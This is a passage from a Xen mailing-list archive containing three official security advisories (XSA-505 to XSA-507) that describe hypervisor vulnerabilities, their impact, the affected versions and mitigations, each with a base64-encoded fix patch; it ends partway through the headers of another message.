Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689aff-bab6-0a2a0a5309dd-0a2a450491da-38
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:29 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b07-b57f-0a2a45040019-6882d725aca0-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:29 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYm-00DPFD-06;
 Tue, 28 Jul 2026 12:05:23 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYl-003Dvz-2L;
 Tue, 28 Jul 2026 12:05:23 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 505 v2 (CVE-2026-62432) - evtchn: Race
 between FIFO expand and reset
Message-Id: <E1wogYl-003Dvz-2L@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:23 +0000
X-purgate-ID: tlsNG-ebf023/1785240329-C36C2B50-0B82A60E/0/0
X-purgate-type: clean
X-purgate-size: 5223

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-62432 / XSA-505
                               version 2

              evtchn: Race between FIFO expand and reset

UPDATES IN VERSION 2
====================

Typo correction in description.

Public release.

ISSUE DESCRIPTION
=================

The EVTCHNOP_expand_array hypercall checks for whether FIFO event
channels are enabled, but without holding the correct lock.  It can race
with EVTCHNOP_reset, resulting in dereferencing a NULL pointer.

IMPACT
======

A malicious HVM guest (x86 HVM or PVH, and ARM) can crash Xen leading to
a denial of service.

A malicious x86 PV guest can most likely crash Xen leading to a denial
of service, but memory corruption or privilege escalation cannot be
ruled out.

VULNERABLE SYSTEMS
==================

All Xen versions from 4.5 onwards are vulnerable.  Xen versions 4.4 and
earlier are not vulnerable.

MITIGATION
==========

There are no mitigations.

RESOLUTION
==========

Applying the attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa505.patch           xen-unstable - Xen 4.17

$ sha256sum xsa505*
80619fdbb547dea191439ef1c9539fa0991e8f6c449b3970a086f3287fb9ce6e  xsa505.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.


(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomrsMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZ5H8IAMKtDfTsBJaoOosFHEU0Gyv96fP98D89URo21RrD
V+Lpd9CTatYuTnz53gztlUa7s2/ARYl488bNURwPTdTjSEdJBbFQKrEyAZsryTyh
hiIJF7AhQf8LsY3qk2xuJ+/tKc720WK/zsUGVRz6Jhf9W90g5wBhIM1RAhfy7H2t
Zn74wXDi4dsMLQg6VivzRq+y+XJfZKR6qoKztiDHk0DBobmJzQFF2cfkiiWDRW9l
NuvLxKjsPyS4K+Jcm9k65RzmWfDprxmL/63VDAt0W8dSAe+u1zyDh/aT+OFK5R1g
c6CwdjquY4hhSYhwix4TW18LRlY0NA/pqn3FmhLQl3XZmfU=
=z4Qy
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa505.patch"
Content-Disposition: attachment; filename="xsa505.patch"
Content-Transfer-Encoding: base64

RnJvbTogUm9nZXIgUGF1IE1vbm5lIDxyb2dlci5wYXVAY2l0cml4LmNvbT4K
U3ViamVjdDogeGVuL2V2dGNobjogZml4IHJhY2UgYmV0d2VlbiBGSUZPIGV4
cGFuZCBhbmQgcmVzZXQgb3BlcmF0aW9ucwoKZXZ0Y2huX2ZpZm9fZXhwYW5k
X2FycmF5KCkgd2lsbCBjaGVjayBmb3IgdGhlIGRvbWFpbiBldnRjaG5fZmlm
byBiZWluZwpwb3B1bGF0ZWQgd2l0aG91dCBob2xkaW5nIHRoZSBldmVudF9s
b2NrLCB3aGljaCBjYW4gbGVhZCB0byBhIHJhY2Ugd2l0aCBhCmNvbmN1cnJl
bnQgZXZ0Y2huX3Jlc2V0KCkuCgpFbnN1cmUgdGhlIGNoZWNraW5nIGZvciBl
dnRjaG5fZmlmbyBwcmVzZW5jZSBpcyBkb25lIHdoaWxlIGhvbGRpbmcgdGhl
CmV2ZW50X2xvY2suCgpUaGlzIGlzIFhTQS01MDUgLyBDVkUtMjAyNi02MjQz
Mi4KCkZpeGVzOiA0MDBiM2JkNjQyNmYgKCJldnRjaG46IG1ha2UgRVZUQ0hO
T1BfcmVzZXQgc3V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ZV90b19ldmVudF9hcnJheShkLCBleHBhbmRfYXJyYXktPmFycmF5X2dmbik7
CiAgICAgd3JpdGVfdW5sb2NrKCZkLT5ldmVudF9sb2NrKTsKIAogICAgIHJl
dHVybiByYzsK

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:06:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:06:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372605.1620143 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogZe-0003cZ-Mp; Tue, 28 Jul 2026 12:06:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372605.1620143; Tue, 28 Jul 2026 12:06:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogZc-0003T5-1N; Tue, 28 Jul 2026 12:06:16 +0000
Received: by outflank-mailman (input) for mailman id 1372605;
 Tue, 28 Jul 2026 12:05:38 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYu-0004Zl-Pp; Tue, 28 Jul 2026 12:05:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYu-00EbuA-2u; Tue, 28 Jul 2026 14:05:32 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b0a-5cb7-0a2a0a5109dd-0a2a4506d2aa-4
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:32 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b0a-195a-0a2a45060019-6882d725acb0-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:31 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYp-00DPFi-1f;
 Tue, 28 Jul 2026 12:05:27 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYp-003Dy5-0f;
 Tue, 28 Jul 2026 12:05:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 506 v2 (CVE-2026-62433) - correct buffer
 checks for DM_OP hypercalls
Message-Id: <E1wogYp-003Dy5-0f@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:27 +0000
X-purgate-ID: tlsNG-16d1c6/1785240331-FEA7477B-8DF5F12B/0/0
X-purgate-type: clean
X-purgate-size: 7333

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-62433 / XSA-506
                               version 2

              correct buffer checks for DM_OP hypercalls

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

Parts of the DM_OP handling code assumes the caller has provided the
required number of buffers for the given operation without any checking
being done.  As a result, certain operations might access stack
rubble as structures are possibly uninitialized.

IMPACT
======

A device model of a HVM guest can gain insight on the contents of the
Xen stack, thus possibly leaking data from other guests contexts.

VULNERABLE SYSTEMS
==================

All Xen versions from 4.10 onwards are vulnerable.  Xen versions 4.9 and
earlier are not vulnerable.

Only entities controlling HVM guests can leverage the vulnerability.
These are device models running in either a stub domain or de-privileged
in Dom0.

MITIGATION
==========

Running only PV or PVH guests will avoid the vulnerability.

(Switching from a device model stub domain or a de-privileged device
model to a fully privileged Dom0 device model does NOT mitigate this
vulnerability.  Rather, it simply recategorises the vulnerability to
hostile management code, regarding it "as designed"; thus it merely
reclassifies these issues as "not a bug".  The security of a Xen system
using stub domains is still better than with a qemu-dm running as a Dom0
process.  Users and vendors of stub qemu dm systems should not change
their configuration to use a Dom0 QEMU process.)

RESOLUTION
==========

Applying the attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa506.patch           xen-unstable - Xen 4.17.x

$ sha256sum xsa506*
7fa79f0421eafa420f7af791ad35a96a769c945260d81419052611771347b411  xsa506.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomrwMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZNF4H/0c6JMsivAWWDIQ920Bwh7EEOKhMv3nGIrBqrN8/
TGKJNNoNQinhoQv9fnqwsHaiC8e49PNUJqTpEN8/o/b0obnl4Tw2JyUXFY1bZyaz
XNS85rkrUc0+Ue/Ka2464mmQ826TJXfaXG9CZYlC5cO/JtzX65ecMW4H7ju2tdnt
c9xK+I5kIQPwUwy3HUMrKFvWi+JIvpCzhuHYDH2iJDecmk42pOmnKtS54q6YO15n
c4xdn7aNyeECKQw4qUcjKC7zKRgrqFu5J3BlvXauZOkJCL50PK+OpWK6QV+fRNGy
N7dnY5w+1BMVrHywZI5iy8WqZtJoi6TOO1Gl0WcB07/vvJk=
=APkr
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa506.patch"
Content-Disposition: attachment; filename="xsa506.patch"
Content-Transfer-Encoding: base64

RnJvbSA2YzM4ODIzZTg5NzFmYWJkNGQyZTRkNDQ3YzY1YjM5ZjU3Yjk1M2Uz
IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBSb2dlciBQYXUgTW9u
bmUgPHJvZ2VyLnBhdUBjaXRyaXguY29tPgpEYXRlOiBUdWUsIDE0IEp1bCAy
MDI2IDEzOjEzOjEyICswMjAwClN1YmplY3Q6IHhlbi9kbW9wOiBjaGVjayBu
dW1iZXIgb2YgaW5wdXQgYnVmZmVycwpNSU1FLVZlcnNpb246IDEuMApDb250
ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9VVRGLTgKQ29ud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bW9yeShkLCBvcF9hcmdz
LCBkYXRhKTsKICAgICAgICAgY29uc3Rfb3AgPSAhcmM7CiAgICAgICAgIGJy
ZWFrOwpAQCAtNjU1LDYgKzY2MSw5IEBAIGludCBjb21wYXRfZG1fb3AoCiAg
ICAgdW5zaWduZWQgaW50IGk7CiAgICAgaW50IHJjOwogCisgICAgaWYgKCAh
bnJfYnVmcyApCisgICAgICAgIHJldHVybiAtRU5PREFUQTsKKwogICAgIGlm
ICggbnJfYnVmcyA+IEFSUkFZX1NJWkUoYXJncy5idWYpICkKICAgICAgICAg
cmV0dXJuIC1FMkJJRzsKIApkaWZmIC0tZ2l0IGEveGVuL2NvbW1vbi9kbS5j
IGIveGVuL2NvbW1vbi9kbS5jCmluZGV4IDIwMWI2NTJkZWI3ZS4uODY4OTcy
OGFiN2EzIDEwMDY0NAotLS0gYS94ZW4vY29tbW9uL2RtLmMKKysrIGIveGVu
L2NvbW1vbi9kbS5jCkBAIC0yNiw2ICsyNiw5IEBAIGxvbmcgZG9fZG1fb3Ao
CiAgICAgc3RydWN0IGRtb3BfYXJncyBhcmdzOwogICAgIGludCByYzsKIAor
ICAgIGlmICggIW5yX2J1ZnMgKQorICAgICAgICByZXR1cm4gLUVOT0RBVEE7
CisKICAgICBpZiAoIG5yX2J1ZnMgPiBBUlJBWV9TSVpFKGFyZ3MuYnVmKSAp
CiAgICAgICAgIHJldHVybiAtRTJCSUc7CiAKLS0gCjIuNTMuMAoK

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:07:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:07:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373153.1620230 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogax-0004jz-5P; Tue, 28 Jul 2026 12:07:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373153.1620230; Tue, 28 Jul 2026 12:07:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogaw-0004jU-QI; Tue, 28 Jul 2026 12:07:38 +0000
Received: by outflank-mailman (input) for mailman id 1373153;
 Tue, 28 Jul 2026 12:07:36 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogau-0004a7-Lq; Tue, 28 Jul 2026 12:07:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogau-00EcR4-2W; Tue, 28 Jul 2026 14:07:36 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b7b-5cb7-0a2a0a5109dd-0a2a450ce798-34
 for <multiple-recipients>; Tue, 28 Jul 2026 14:07:36 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b0e-f479-0a2a450c0019-6882d725b970-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:35 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYt-00DPGA-0x;
 Tue, 28 Jul 2026 12:05:31 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYs-003Dzb-3C;
 Tue, 28 Jul 2026 12:05:30 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 507 v2 (CVE-2026-62434) - PoD: Don't try to
 reclaim special pages
Message-Id: <E1wogYs-003Dzb-3C@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:30 +0000
X-purgate-ID: tlsNG-d25034/1785240335-01AC4A5B-4B6FAA98/0/0
X-purgate-type: clean
X-purgate-size: 6587

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-62434 / XSA-507
                               version 2

                PoD: Don't try to reclaim special pages

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

A guest started with Populated on Demand enabled (PoD) can attempt to
reclaim pages which aren't regular guest RAM.  This can cause corruption
of memory management state in Xen.

IMPACT
======

A buggy or malicious guest can cause corruption of Xen's state, leading
to crashes or other malfunctions.  Information leak and privilege
escalation cannot be ruled out.

VULNERABLE SYSTEMS
==================

All Xen versions from 3.4 onwards are vulnerable.  Xen versions 3.3 and
earlier are not vulnerable.

Only x86 systems are vulnerable.

Only x86 HVM and PVH guests started in populate-on-demand mode are
believed to be able to leverage the vulnerability.  Populate-on-demand
mode is activated when the guest's xl configuration file specifies a
"maxmem" value which is larger than the "memory" value.

MITIGATION
==========

Running only PV guests or HVM/PVH guests without PoD will avoid the
vulnerability.

RESOLUTION
==========

Applying the attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa507.patch           xen-unstable - Xen 4.17.x

$ sha256sum xsa507*
41485ddf0912cfa53fa05e236aa27c3c6490919ac2dab5b9f57ed69f5b38f60a  xsa507.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomr4MHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZ+04H/i3UMWbGcPG2kp978waMmF3Gtfb/r8mw3UBzVGCi
cIOBWf/FizjWu54SQEQtjwYPfi0nKftFN1UPqAGs+OUtyiZ8EcPL5x9i7arrqA2T
uGfpCTb3NtFmacBbrpGnqkNahMtSLWtE8aSVEQhLxvZcLTPB6OPzIi/MVPGyA7jl
/LSGWs4vd99Y8ZvAN20rhxaEAjYynfd7N4tXn38EoW9WiQBuPZ5eNzsbieah8PEo
Ajntyx774ipvtYYStA4fhsLwO+6LyqH7okDR1g8Xkq6IVrOshP194mxnsuEfcMIO
4TCkWbzhmspfxQ1E2aW2VVPzIC2X2b+i8JieUK/z3mmrRSU=
=AfG5
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa507.patch"
Content-Disposition: attachment; filename="xsa507.patch"
Content-Transfer-Encoding: base64

RnJvbSBjMWZlN2QxMGU4YjQ4OWRkNjZhZDVhMmQ3NTA4ZTk4ZTljOGRhYmM2
IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBSb2dlciBQYXUgTW9u
bmUgPHJvZ2VyLnBhdUBjaXRyaXguY29tPgpEYXRlOiBUdWUsIDE0IEp1bCAy
MDI2IDE3OjA1OjQ1ICswMjAwClN1YmplY3Q6IHg4Ni9wb2Q6IGRvIG5vdCBy
ZWNsYWltIHNwZWNpYWwgcGFnZXMgZm9yIFBvRCBjYWNoZQpNSU1FLVZlcnNp
b246IDEuMApDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9VVRG
LTgKQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdAoKV2hlbiBkb2lu
ZyBQb0QgY2FjaGUgcmVjbGFpbSBhcyBwYXJ0IG9mIGEgZGVjcmVhc2UgcmVz
ZXJ2YXRpb24gY2FsbCwgYXZvaWQKcmVjbGFpbWluZyBzcGVjaWFsIHBhZ2Vz
IGZvciB0aGUgUG9EIGNhY2hlLiAgT3RoZXJ3aXNlIHN1Y2ggcGFnZXMgZ2V0
IG1vdmVkCmZyb20gdGhlIGRvbWFpbiAtPnhlbnBhZ2VfbGlzdCB0byB0aGUg
LT5wYWdlX2xpc3QsIHdoaWxlIHN0aWxsIGJlaW5nCnJlZmVyZW5jZWQgaW4g
LT5zaGFyZWRfaW5mbyBkb21haW4gZmllbGQuCgpQcmV2ZW50IFBvRCBjYWNo
ZSBmcm9tIHJlY2xhaW1pbmcgc3BlY2lhbCBwYWdlcywgYXMgbm90aGluZyBn
b29kIGNhbiBjb21lC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RyeShw
Mm0sIGdmbl9hZGQoZ2ZuLCBpKSwgJnQsICZhLCAwLCAmY3VyX29yZGVyLCBO
VUxMKTsKICAgICAgICAgbiA9IDFVTCA8PCBtaW4ob3JkZXIsIGN1cl9vcmRl
cik7CiAgICAgICAgIGlmICggcDJtX2lzX3BvZCh0KSApCiAgICAgICAgICAg
ICBwb2QgKz0gbjsKLSAgICAgICAgZWxzZSBpZiAoIHAybV9pc19yYW0odCkg
KQorICAgICAgICBlbHNlIGlmICggcDJtX2lzX3JhbSh0KSAmJiAhaXNfc3Bl
Y2lhbF9wYWdlKG1mbl90b19wYWdlKG1mbikpICkKICAgICAgICAgICAgIHJh
bSArPSBuOwogICAgIH0KIApAQCAtNjQ0LDYgKzY0NSw5IEBAIGRlY3JlYXNl
X3Jlc2VydmF0aW9uKHN0cnVjdCBkb21haW4gKmQsIGdmbl90IGdmbiwgdW5z
aWduZWQgaW50IG9yZGVyKQogICAgICAgICAgICAgQVNTRVJUKG1mbl92YWxp
ZChtZm4pKTsKIAogICAgICAgICAgICAgcGFnZSA9IG1mbl90b19wYWdlKG1m
bik7CisgICAgICAgICAgICBpZiAoIGlzX3NwZWNpYWxfcGFnZShwYWdlKSAp
CisgICAgICAgICAgICAgICAgLyogRG8gbm90IHRvdWNoIHNwZWNpYWwgcGFn
ZXMsIGxldCBnZW5lcmljIGNvZGUgaGFuZGxlIHRoZW0uICovCisgICAgICAg
ICAgICAgICAgY29udGludWU7CiAKICAgICAgICAgICAgIC8qIFRoaXMgc2hv
dWxkbid0IGJlIGFibGUgdG8gZmFpbCAqLwogICAgICAgICAgICAgaWYgKCBw
Mm1fc2V0X2VudHJ5KHAybSwgZ2ZuX2FkZChnZm4sIGkpLCBJTlZBTElEX01G
TiwgY3VyX29yZGVyLAotLSAKMi41My4wCgo=

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:07:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:07:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373165.1620265 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogb0-0005bG-FH; Tue, 28 Jul 2026 12:07:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373165.1620265; Tue, 28 Jul 2026 12:07:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogb0-0005Zb-72; Tue, 28 Jul 2026 12:07:42 +0000
Received: by outflank-mailman (input) for mailman id 1373165;
 Tue, 28 Jul 2026 12:07:40 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogay-0004wc-1W; Tue, 28 Jul 2026 12:07:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogax-006yAC-DV; Tue, 28 Jul 2026 14:07:39 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b7a-bab6-0a2a0a5309dd-0a2a4507b18c-48
 for <multiple-recipients>; Tue, 28 Jul 2026 14:07:39 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689b11-b4ea-0a2a45070019-6882d7259636-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:39 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYw-00DPGa-1s;
 Tue, 28 Jul 2026 12:05:34 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYw-003E18-0s;
 Tue, 28 Jul 2026 12:05:34 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
